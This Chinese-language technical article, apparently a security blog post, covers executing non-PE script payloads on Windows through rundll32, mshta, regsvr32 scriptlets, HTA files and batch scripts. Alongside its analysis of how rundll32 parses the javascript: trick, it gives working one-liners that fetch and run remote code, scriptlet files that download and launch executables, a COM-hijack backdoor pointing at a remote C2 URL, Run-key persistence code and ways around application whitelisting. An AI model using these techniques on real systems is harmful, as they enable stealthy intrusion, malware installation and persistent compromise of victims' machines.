0x1:载荷是什么?在整个入侵过程中起到什么作用?

载荷的作用在整个入侵链路的作用起到纽带的作用,它借助于目标系统提供的某些功能、组件、执行环境,将攻击者的传递的恶意payload包裹起来,并解析执行,使恶意payload发挥其作用,达到进一步入侵的目的。

在载荷之上,攻击者会利用各种方式去植入和启动载荷(例如创建服务或者创建计划任务)。我们研究windows系统下各种载荷的编写方式及其原理对我们举一反三,深刻理解windows环境下渗透方式多种多样变化性的深层次原因会很有帮助。

0x2:载荷的分类

1. 按照执行方式分类

从一个概括性较强的大范围来分类,载荷可以分为:

  • PE方式载荷:二进制可执行文件,也即汇编代码
  • 非PE方式载荷:例如Windows上的各种script脚本类文件,这类script文件可以落盘,同时因为其“即时编辑即执行”特性,也可以做到不落盘

下面思维导图是非PE载荷的可能攻击向量

Windows下非PE方式载荷投递方式研究

2. 按照存储方式分类

从载荷的存储方式来分类,载荷可以分为

  • 内存执行
  • 本地缓存
    • 通过HTTP下载的对象的本地缓存将是IE本地缓存,在以下位置:
      • C:\Users<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files
      • C:\Users<username>\AppData\Local\Microsoft\Windows\INetCache\IE<subdir>
    • 通过指向WebDAV服务器的UNC路径访问的文件将被保存在WebDAV客户机本地缓存中:
      • C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
  • 磁盘文件

0x3:非PE载荷的优点

我们本文主要着眼于“系统自带 - 脚本载荷”展开讨论,由于其使用了系统原生自带的组件或者API功能,使得其具备一些非常好的特性,而备受黑客关注,例如:

  • 系统自带脚本通常对执行环境的依赖较小,可以用同一份payload在不修改的情况下直接对各种目标进行统一批量化攻击。
  • script代码体积较小,通常为一段ascii代码,同时也可以基于script脚本自身的可编程能力进行 ascii 加密编码,以躲避网络防火墙的审计
  • git compile && execute即时编译执行的特性使其可以被注入到例如定时任务、注册表,autorun等地方,即具备无文件不落盘的持久化特性
  • 因为使用了系统原生自带的解析引擎程序(例如powershell),不论是应用白名单还是AppLocker都会对其放行

Relevant Link:

https://cloud.tencent.com/developer/article/1141143 

 

2. 通过rundll32.exe/mshta.exe 执行javascript代码

javascript本来是浏览器的执行脚本语言,可以被IE/Chrome这些浏览器解析执行,但是我们可以绕过IE浏览器,直接调用"c:\windows\system32\mshta.exe"在外部直接执行JS代码。

实现代码demo code如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');

Windows下非PE方式载荷投递方式研究

0x1:rundll32介绍

从MSDN的描述中可以看出,Rundll32的作用是执行DLL文件中的内部函数:

RUNDLL.EXE <dllname>,<entrypoint> <optional arguments>
RUNDLL.EXE SETUPX.DLL,InstallHinfSection 132 C:\WINDOWS\INF\SHELL.INF
# 注意
# 1. <dllname> 不能包含任何空格、逗号或引号。这是 Rundll 命令行分析器的局限
# 2. 在上面的命令行中,<dllname> 和 <entrypont> 函数名称之间的逗号 (,) 极为重要。如果缺少这个逗号分隔符,Rundll 或 Rundll32 将失败,而且不显示任何错误。另外,在 <dllname>、逗号和 <entrypoint> 函数之间不能有任何空格

Rundll 的工作方式如下

1. 它分析命令行。
2. 它通过 LoadLibrary() 加载指定的 DLL。
3. 它通过 GetProcAddress() 获取 <entrypoint> 函数的地址。
4. 它调用 <entrypoint> 函数,并传递作为 <optional arguments> 的命令行尾。
5. 当 <entrypoint> 函数返回时,Rundll.exe 将卸载 DLL 并退出。

EntryPoint就是要执行的内部函数,它的原型如下:

void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);
# 参数lpszCmdLine是由rundll32.exe命令语句中的<optional arguments>值确定的

0x2:Rundll32.exe分析

1. 解析命令行

Rundll32首先要调用ParseCommand函数把传进来的参数分割,函数会搜索逗号(‘,’, 0x2C)来定位DLL名字。搜索空格(‘ ‘, 0x20)来定位入口点。

Windows下非PE方式载荷投递方式研究

在我们输入的命令中,ParseCommand返回javascript:"\..\mshtml作为DLL名称,RunHTMLApplication作为入口点。

Windows下非PE方式载荷投递方式研究

Windows下非PE方式载荷投递方式研究

2. DLL Loader - 加载对应DLL文件

Rundll32会试图读取名称为javascript:"\..\mshtml的DLL。

Windows下非PE方式载荷投递方式研究

首先他会尝试调用GetFileAttributes(“javascript:”\..\mshtml”)来读取文件,最终函数会访问C:\Windows\system32\mshtml这个文件,但是由于文件不存在(很显然不可能存在),函数返回-1。

Windows下非PE方式载荷投递方式研究

然后函数会调用SearchPath来寻找DLL名称。

Windows下非PE方式载荷投递方式研究

SearchPath函数路径搜索的顺序

1. SearchPath会首先尝试读取"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeProcessSearchMode"键值: http://msdn.microsoft.com/zh-cn/library/windows/desktop/aa365527(v=vs.85).aspx
    1) 当他的键值为1时,SearchPath首先搜索系统路径中指定的文件夹,然后搜索当前工作目录
    2) 当键值为0时,正好相反,首先会搜索当前工作目录,然后搜索系统路径。

2. 在(on Windows XP / 7 / 8)的默认情况下这个键值不存在,所以SearchPath会试图在当前工作目录(即c:\windows\system32)读取“javascript:”\..\mshtml”

当都读取不到时,rundll32开始进入下一步工作,GetFileAttributes被重新调用来搜索javascript:”\..\mshtml.manifest

Windows下非PE方式载荷投递方式研究

当这些都失败后Rundll32最终会调用LoadLibrary("javascript:"\..\mshtml")。

Windows下非PE方式载荷投递方式研究

LoadLibrary是存在在ntdll.dll中包装LdrLoadDll的函数,内在地LdrLoadDll加载了默认的扩展名.dll然后把结果字符串javascript:”\..\mshtml.dll作为了路径。”..”符号代表着跳转到上一级。上一个指令解析到了mshtml.dll(例如foo\..\mshtml.dll 解析为 mshtml.dll)

通过指定mshtml.dll,LdrLoadDll能够调用在系统目录的库(C:\WINDOWS\system32\C:\WINDOWS\system32)。

Rundll32然后调用GetProcAddress提取入口点函数RunHTMLApplication

Windows下非PE方式载荷投递方式研究

到这一步为止,LoadLibrary("foobar:\"\..\mshtml")工作正常,前缀javascript:似乎没起到什么作用。

3. mshtml.dll!RunHTMLAppliction 协议处理

一旦Rundll32得到了入口地址就会调用函数mshtml.dll!RunHTMLAppliction.

Windows下非PE方式载荷投递方式研究

该函数并比未出现在微软的官方文档中,但其函数原型可以通过c:\windows\system32\mshta.exe(用来启动.hta文件的程序)对其的调用推断出来:

HRESULT RunHTMLApplication(
    HINSTANCE hinst,    // RunHTMLApplication的第一个参数接受一个窗口句柄而不是模块句柄,该参数用于mshtml注册新窗口类并创建窗口
    HINSTANCE hPrevInst,    // 第二个参数并未被用到
    LPSTR szCmdLine,
    int nCmdShow        // 最后一个参数nCmdShow由于指定RunHTMLApplication是否显示HTML应用的窗口。Rundll32调用入口的时候总是传入SW_SHOWDEFAULT来显示窗口到默认位置
);
# 该函数与rundll32需要的入口函数很相似:
void CALLBACK EntryPoint(
 HWND hwnd,
 HINSTANCE hinst,
 LPSTR lpszCmdLine,
 int nCmdShow
 );

我们主要关心的参数是lpszCmdLine,这里传入的应该是:””;alert(‘foo’)”。

Windows下非PE方式载荷投递方式研究

很明显,这不是一个合法的JavaScript语句(末尾缺失双引号)。但本例中却是有效的,因为RunHTMLApplication会忽略该参数,而调用API GetCommandLine(包装在GetCmdLine函数中)来获取参数

Windows下非PE方式载荷投递方式研究

完整的命令行包含可执行文件的名字和参数,GetCmdLine会去掉可自行文件名,提取出参数:

Windows下非PE方式载荷投递方式研究

然后,RunHTMLApplication 会调用CreateUrlMoniker:

The CreateURLMoniker function creates a URL moniker from a full URL string, or from a base context URL moniker and a partial URL string.

Windows下非PE方式载荷投递方式研究

CreateUrlMoniker解析命令行并提取出”:”之前的字符串,即“javascript”。这步的目的是解析出scheme协议

Windows下非PE方式载荷投递方式研究

CreateUrlMoniker会读取注册表 HKEY_CLASSES_ROOT\PROTOCOLS\Handler\javascript 中的值,其中存储了协议和其对应的CLSID。

Windows下非PE方式载荷投递方式研究

CreateUrlMoniker会为JavaScript寻找合适的协议处理器

Windows下非PE方式载荷投递方式研究

该CLSID{3050F3B2-98B5-11CF-BB82-00AA00BDCE0B} 对应 “Microsoft HTML Javascript Pluggable Protocol”。

Windows下非PE方式载荷投递方式研究

正是因为这样,所以参数必须以”javascript”开始。在IE中输入javascript:alert('foo') 也是同样处理的机制:

“:”之后的字符串会被JavaScript URL moniker当成JavaScript指令解析执行:"\..\mshtml,RunHTMLApplication ";alert('foo');

这是一段合法的JavaScript,包含一个字符串"\..\mshtml,RunHTMLApplication " (包括之前被忽略过的双引号)和一个函数(alert)。

最后RunHTMLApplication  会调用CHTMLApp::Run 并运行JavaScript:

0x3:核心原理总结

1. 借助rundll32.exe执行mshtml.dll的导出函数: RunHTMLApplication,这个函数允许我们使用IE的所有功能—对象模型,性能,渲染和协议支持—但却没有开启安全全限制和用户界面
2. 给rundll32.exe要传入的res协议必须指定为: javascript
3. 传给rundll32.exe的命令行参数必须是一段javascript代码,因为域安全特性(同源策略)也是关闭的,所以可以跨域执行脚本,并具有本地文件系统和注册表的读写权限。通过这个trick,可以让javascript在IE进程以外执行,同时又不受Vista等的保护模式和沙盒等安全策略的限制

0x4:攻击向量

1. 直接使用javascript代码进行恶意程序植入及启动

rundll32 javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://reverse-tcp.xyz/payload.sct");window.close();
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

Windows下非PE方式载荷投递方式研究

本质上就是要利用javascript的网络IO;文件IO;进程启动相关api来实现恶意代码植入的目的。

通过,javascript也可以直接调用powershell来实现更复杂隐蔽的恶意逻辑

2. 通过javascript代码调用powershell运行ps代码进行恶意程序植入及启动

如果不想直接编写复杂的javascript代码逻辑,或者我们想复用已经非常成熟的empire powershell等组件,可以在javascript代码中做一个包装,直接通过ActiveXObject调用powershell启动新进程

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

3. 通过mshta.exe解析执行javascript代码

通过前面的技术原理分析,我们知道,rundll32.exe本质上是调用的mshtml.dll来解析javascript代码。

mshta.exe同样也实现了对mdhtml.dll的解析封装,所以,我们可以使用mshta.exe复用相同的攻击向量:

mshta.exe "javascript:new%20ActiveXObject("WScript.Shell").Run("powershell%20-nop%20-exec%20bypass%20-c%20IEX%20(New-Object%20Net.WebClient).DownloadString('http://ip:port/');");window.close()"
mshta.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');
Mshta javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.2.101:9998/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /immshta.exe",0,true);}

Windows下非PE方式载荷投递方式研究

4. WSC文件:can it work?

Relevant Link:

https://support.microsoft.com/zh-cn/help/164787/info-windows-rundll-and-rundll32-interface
https://msdn.microsoft.com/zh-cn/library/ms775102(v=vs.85).aspx
http://bobao.360.cn/learning/detail/164.html
http://wps2015.org/drops/drops/JavaScript后门深层分析.html
https://support.microsoft.com/zh-cn/help/164787/info-windows-rundll-and-rundll32-interface
http://rinige.com/index.php/archives/567

 

3. 基于scriptlets+scrobj.dll将javascript / vbscript封装为COM组件通过regsvr32注册执行代码逻辑

0x1:涉及到的相关基本概念和原理

为了更好地说明这种攻击方式,我们需要先理顺几个基本概念原理。

1. Regsvr32

Regsvr32命令用于注册动态链接库文件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。

regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname 

/u: 卸载已安装的控件或DLL文件
/s: 静默,不显示任何消息框
/n: 指定不调用 DllRegisterServer,此选项必须与 /i 共同使用
/i:cmdline: 调用 DllInstall 将它传递到可选的 [cmdline],在与 /u 共同使用时,它调用 dll 卸载
dllname: 指定要注册的 dll 文件名

2. COM组件

以Win32动态链接库(DLL)或可执行文件(EXE)形式发布的可执行二进制代码,能够满足对组件架构的所有需求,可通过Regsvr32命令注册

组件与开发工具语言无关
通过接口有效保证了组件的复用性
组件运行效率高、便于使用和管理

3. Scriptlets

在可扩展标记语言(XML)文件中通过脚本语言(VBScript或者JScript)可以创建一个COM对象,后缀名为sct

4. scrobj.dll

用来帮助将COM请求发送到脚本组件

综上,这种方式的内部原理大致是下面这样的:

基于scriptlets在xml中编写一段javascript/vbscript代码(创建COM对象) ->
调用msxml.dll完成对xml的解析 ->
借助scrobjdll对javascript/vbscript COM对象的代码进行解析,生成COM对象instance ->
通过regsvr32实现注册 ->
在创建COM对象的初始化逻辑(DllInstall()函数)里直接执行传入启动参数(SCT URL;或SCT路径),恶意逻辑;或在创建COM对象之后通过第三方应用再去调用创建的COM对象完成恶意逻辑执行

0x2:通过regsvr32注册VBScript/JSCript scriptlets(COM对象)注册一个COM对象供第三方程序调用

Component.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Component"
    progid="Component.InsideCOM"
    version="1.00"
    classid="{10001111-0000-0000-0000-000000000001}"
>
</registration>

<public>
    <method name="Sum">
        <PARAMETER name="X"/>
        <PARAMETER name="Y"/>
    </method>
</public>
<script language="VBScript">
<![CDATA[

function Sum(X, Y)
    Sum = X + Y
end function

]]>
</script>

</scriptlet>

通过执行Regsvr32命令注册COM组件 

regsvr32 /i:"Component.sct" scrobj.dll

Windows下非PE方式载荷投递方式研究

注册后在注册表HKEY_CLASSES_ROOT\CLSID\下同步创建键值{10001111-0000-0000-0000-000000000001}

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{10001111-0000-0000-0000-000000000001}]
@="Component"

[HKEY_CLASSES_ROOT\CLSID\{10001111-0000-0000-0000-000000000001}\InprocServer32]
@="C:\\Windows\\system32\\scrobj.dll"
"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOT\CLSID\{10001111-0000-0000-0000-000000000001}\ProgID]
@="Component.InsideCOM.1.00"

[HKEY_CLASSES_ROOT\CLSID\{10001111-0000-0000-0000-000000000001}\ScriptletURL]
@="file:///C:/Users/Administrator/Desktop/poc/Component.sct"

[HKEY_CLASSES_ROOT\CLSID\{10001111-0000-0000-0000-000000000001}\VersionIndependentProgID]
@="Component.InsideCOM"

通过VBS调用注册过的COM组件

TestVB.vbs

Dim ref 
Set ref = CreateObject("Component.InsideCOM")
MsgBox ref.Sum(4, 6)

Windows下非PE方式载荷投递方式研究

执行后如图,成功调用COM组件

需要注意的:使用这种方式创建的COM组件,是跨编程语言通用的,COM对各种编程语言提供了统一的API接口

我这里尝试用JScript来调用VBScript创建的COM组件,同样也是可以的:

var ref = new ActiveXObject("Component.InsideCOM");
var x = ref.Sum(4,6);
WScript.Echo(x);

Windows下非PE方式载荷投递方式研究

同样,我们也可以基于jscript也可以完成对COM组件的调用,本质上和基于VBScript创建COM组件是一样的,创建出来的COM对象也可以被各种第三方应用所调用

ComponentJS.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Component"
    progid="Component.InsideCOMJS"
    version="1.00"
    classid="{10001111-0000-0000-0000-000000000002}"
>
</registration>

<public>
    <method name="Sum">
        <PARAMETER name="X"/>
        <PARAMETER name="Y"/>
    </method>
</public>
<script language="JScript">
<![CDATA[

function Sum(X, Y) {
    var result = X + Y;
    return result;
    }
]]>
</script>

</scriptlet>

0x3:修改其他已注册的COM组件的文件路径实现劫持的目的

COM组件的文件保存在注册表中,我们如果可以修改注册表,还可以直接修改对应sct URL,达到劫持的目的:

Windows下非PE方式载荷投递方式研究

和hook劫持的基本原理一样,我们用于劫持的sct script,要和原来的接口(包括接口名称和参数个数)和com id保持一致:

<scriptlet>

<registration
    description="Empire"
    progid="Empire"
    version="1.00"
    classid="{10001111-0000-0000-0000-000000000001}"
    >
</registration>

<public>
    <method name="Sum">
<PARAMETER name="X"/>
        <PARAMETER name="Y"/>
</method>
</public>
<script language="JScript">
<![CDATA[
    
    function Sum(X, Y)
    {
        var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    }
    
]]>
</script>

</scriptlet>

Windows下非PE方式载荷投递方式研究

0x4:文件名可简化

后缀名不一定必须用".sct",其他格式也可以,解析引擎并不在意文件的后缀。

regsvr32 /i:"calc.txt" scrobj.dll

Windows下非PE方式载荷投递方式研究

0x5:加入/s参数可隐藏弹出的注册成功的对话框

Windows下非PE方式载荷投递方式研究

0x6:sct文件可放在远程服务器上

regsvr32.exe /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll
# regsrv32指令选项:
/s 静默执行
/n 指定不调用DllRegisterServer,此选项必须与/i共同使用
/i 调用DllInstall将它传递到可选的[cmdline],在与 /u 共同使用时,它调用DllUnstall
/u 反注册控件

在代理环境下也能正常访问,也支持https访问

0x7:在sct的javascript/vbscript脚本中继续调用其他编程api接口

同时要注意的是,javascript同时还可以继续调用其他windows api或者powershell

regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec.sct scrobj.dll

#原理:
regsve32->JScript->powershell->download&exec

sct代码如下:

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Test"
    progid="Test"
    version="1.00"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}"
    >
    
    <script language="JScript">
        <![CDATA[
    
            new ActiveXObject("WScript.Shell").Run("powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\\download\\a.exe');start-process 'c:\\download\\a.exe'",0,true);
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

从这里我们可以看到,操作系统提供的各种脚本代码可以相互之间交叉调用,黑客可以根据自己获得的exploit投递点所具备的环境,去选择一个最稳定的script在和进行投递,一旦完成第一阶段投递,就可以基于该script继续调用更多的api和其他script完成更复杂的操作

0x8:在sct的javascript/vbscript脚本中实现文件下载的目的

我们知道,从远程服务器(常常是黑客自己控制的C&C virus服务器)下载恶意程序并植入目标系统是入侵链路中一个非常重要的环节。

1. vbs脚本实现的http文件下载执行代码

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Test"
    progid="Test"
    version="1.00"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}"
    >
    
    <script language="VBScript">
        <![CDATA[
    
            Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.XMLHTTP")
http.open "GET","https://github.com/3gstudent/test/raw/master/putty.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "./a.exe"
ado.Close
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

但该脚本不支持https下载,但是如果是普通http下载则可以成功

Windows下非PE方式载荷投递方式研究

2. 基于Msxml2.ServerXMLHTTP.6.0实现https文件下载

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Test"
    progid="Test"
    version="1.00"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}"
    >
    
    <script language="VBScript">
        <![CDATA[
    
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/3gstudent/test/raw/master/putty.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "./a.exe"
ado.Close
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

Windows下非PE方式载荷投递方式研究

3. 基于WinHttp.WinHttpRequest.5.1实现https文件下载

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Test"
    progid="Test"
    version="1.00"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}"
    >
    
    <script language="VBScript">
        <![CDATA[
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
http.open "GET","https://github.com/3gstudent/test/raw/master/putty.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "./b.exe"
ado.Close
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

0x9:通过regsvr32注册可远程升级配置的COM组件后门

1. HTTP SCT URL

前面介绍COM hijack的时候说过,可以通过修改COM URL来实现劫持,同时COM url支持http/代理等,我们可以写入一个远程http sct url而不是一个本地sct文件路径

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Empire"
    progid="Empire"
    version="1.00"
    classid="{20001111-0000-0000-0000-0000FEEDACDC}"
    >
    <!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
    <!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll -->
    <!-- That should work over a proxy and SSL/TLS... -->
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
    
            var WshShell = new ActiveXObject("WScript.Shell");
    var strRegPath = "HKEY_CLASSES_ROOT\\CLSID\\{20001111-0000-0000-0000-0000FEEDACDC}\\ScriptletURL\\";
    WshShell.RegWrite(strRegPath, "http://127.0.0.1:8080/c2.js", "REG_SZ"); 
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

注册的时候就直接将自身的COM URL替换为一个远程http url地址

Windows下非PE方式载荷投递方式研究

这样的好处是黑客可以随机修改sct的代码逻辑,做到无文件落盘升级恶意代码逻辑

2. UNC SCT URL

所谓的UNC路径,就是Universal Naming Convention /通用命名规则,也叫通用命名规范、通用命名约定。格式为:

\\servername\sharename\directory\filename

但是要注意的是,UNC基于netbios实现,使用unc方式投递文件需要两头机器在同一个网段,适配型远没有http方式来的强,因此大多数情况下这种方式很少人用

0x10:直接在注册COM组件的时候就执行代码逻辑,跳过之后通过第三方应用来调用COM接口

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Empire"
    progid="Empire"
    version="1.00"
    classid="{20001111-0000-0000-0000-0000FEEDACDC}"
    >
    <!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
    <!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll -->
    <!-- That should work over a proxy and SSL/TLS... -->
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[

            var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); 

        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[

    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }

]]>
</script>

</scriptlet>

加入 /s 参数,避免提示注册成功提示。

同时需要注意,通过第三方应用依然可以调用这个COM接口函数

这种方法可以绕过应用程序白名单的过滤

0x11:通过COM组件卸载在非admin权限下注册COM组件

我们知道,COM组件注册必须要admin权限,并不是在所有exploit环境下我们都能有admin执行指令的权限,这里就需要用到一种小技巧,通过增加 /u 参数,通过COM组件卸载来实现代码执行

Windows下非PE方式载荷投递方式研究

如图,普通用户权限,开启Windows AppLocker,成功执行js代码,弹出计算器

Relevant Link:

https://xianzhi.aliyun.com/forum/topic/1649
http://wps2015.org/drops/drops/Use%20SCT%20to%20Bypass%20Application%20Whitelisting%20Protection.htm

 

4. 在HTA宿主中通过javascript / vbscript执行代码逻辑

0x1:HTA简介

HTA是Microsoft Windows程序,其源代码由几部分混合而成

1. HTML: HTML用于生成用户界面
2. 动态HTML
3. Internet Explorer(IE)支持的脚本语言: 脚本语言用于控制程序逻辑
    1) 如VBScript
    2) 或JScript)组成

HTA执行是没有互联网浏览器安全模型的限制,而且它作为一个“完全信任”的应用程序执行。HTA常用文件扩展名为.hta。
所有当前的Windows操作系统都支持HTA文件执行。HTA看起来像一个HTML文件,但它具有比HTML文件更高的权限。HTA文件执行需要mshta.exe(%SystemRoot%\system32\mshta.exe),mshta.exe随Internet Explorer一起安装。Mshta.exe通过实例化Internet Explorer渲染引擎(mshtml)以及任何所需的语言引擎(如vbscript.dll)来执行HTA
这些特性使得hta具有本地化应用程序特征

0x2:攻击向量

这种攻击手法,可能会影响从Windows 95到Windows 10的所有Windows版本,因为所有版本都有预安装IE,而随附IE的WSCRIPT是执行此攻击的唯一必需组件。

1. 启动一个计算器

hello.hta

<!--hello.hta-->
<html>
<head>
<title>hello</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<HTA:ApplicationID="oHTA" Applicationname="hta_app" border="thin" borderstyle="normal" icon="hello.ico" maximizebutton="yes" minimizebutton="yes" showintaskbar="no" singleinstance="no" sysmenu="yes" version="777" windowstate="normal" scroll="yes">
</head>
<body>
<center>
<br>
<h1>Hello HTA</h1>
<br>
<h2>( ⊙ o ⊙ )/出来吧!计算器!</h2>
<br>
</center>
<script language="VBScript">
Set Hello = CreateObject("Wscript.Shell")
Hello.Run "calc.exe"
</script>
</body>
</html>

Windows下非PE方式载荷投递方式研究

虽然说也是静态页面,但hta脚本可以直接使用vbs并调用Wscript.Shell,从这个角度来看,hta文件完全可以看成是一个exe程序,可以在里面恶意病毒的代码逻辑

2. 在hta中基于vbscript调用powershell

我们刚才说了,我么可以把hta看成是一个可执行程序,可以在里面编写javascript / vbscript代码,既然这样,编程语言之间互相调用是很平常简单的事情,我们可以通过vb来调用powershell,利用powershell的能力实现更隐蔽的渗透动作。

如果想假装闪退效果,可以直接在脚本结尾加入执行 “taskkill /f /im mshta.exe” kill掉mshta的进程,因为shellcode是注入在powershell中执行的,只要powershell健在,session就能保持住

<title>XXX-exp</title>
<center>
<h1>XXX-exp: death.exe</h1>
<br>
<h2>Loading...</h2>
<br>
[<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]35%
<br>
</center>
<script language="VBScript">
  Set Hackdo = CreateObject("Wscript.Shell")
  Set Check = CreateObject("Scripting.FileSystemObject") 
  Hackdo.Run "powershell.exe -nop calc.exe"  
  Hackdo.Run "taskkill /f /im mshta.exe"
</script>

Windows下非PE方式载荷投递方式研究

3. 水坑攻击

假设一个感染情景,用户被社工引诱或者是水坑攻击而访问某网站,然后该网站要求点击运行或执行某个事件,一旦点击执行,该事件将创建一个WScript ActiveX对象,然后创建运行注册表项,使用rundll32弹出JS警告(对于POC)而进行更多其它操作。

<html>
<head>
<title>RegTest</title>
<script language="JavaScript">
function writeInRegistry(sRegEntry, sRegValue)
{
   var regpath = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\" + sRegEntry;
   var oWSS = new ActiveXObject("WScript.Shell");
   oWSS.RegWrite(regpath, sRegValue, "REG_SZ");
}

function readFromRegistry(sRegEntry)
{
   var regpath = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\" + sRegEntry;        /*Payload injected in Run registry entry*/
   var oWSS = new ActiveXObject("WScript.Shell");    /*WASCRIPT ActiveX object created which is used to inject the Malicous JS in registry*/
   return oWSS.RegRead(regpath);
}
function tst()
{
   writeInRegistry("malware", "rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";alert('payload'); "); /*Payload is the JS payload which does the real malicious stuff and it got watchdog, for keeping an eye over the registry entry which makes the infection persistent*/
   alert(readFromRegistry("malware"));
}
</script></head>
<body>

Click here to run test: <input type="button" value="Run" onclick="tst()"
</body>
</html>

Windows下非PE方式载荷投递方式研究

可以看到,虽然看起来是一个网页,但是它却比在浏览器sandbox里的javascript代码的威力要大得多,可以直接调用系统api完成恶意可执行程序可以做的事情

为了让感染持续存在,它被注入到运行注册表项,用户重新启动计算机,它又会自动重新注册。

Relevant Link:

https://paper.seebug.org/265/
http://www.freebuf.com/sectool/90362.html
https://www.cnblogs.com/vitrox/p/5135642.html
http://blog.csdn.net/juanjuanjean/article/details/7224843
http://sec.chinabyte.com/354/11903354.shtml
https://blog.malwarebytes.com/cybercrime/2016/09/surfacing-hta-infections/ 

 

5. BAT脚本

0x1:通过windows bat脚本编写恶意代码

使用bat批处理脚本本质上和直接在命令行执行各种指令(包括powershell指令)是一样的,它唯一的好处是可以减少exploit投递的次数,只要一次性把所有指令都打包在一个.bat文件中,然后在命令行执行下列指令即可:

payload.bat

Windows下非PE方式载荷投递方式研究

下面以一个bat malware为例说明:

https://www.hybrid-analysis.com/sample/6b5d06fe2085fcade04dce3bdd1a62aa5c72720e4ba9329ddd893caaf59be6b5?environmentId=100
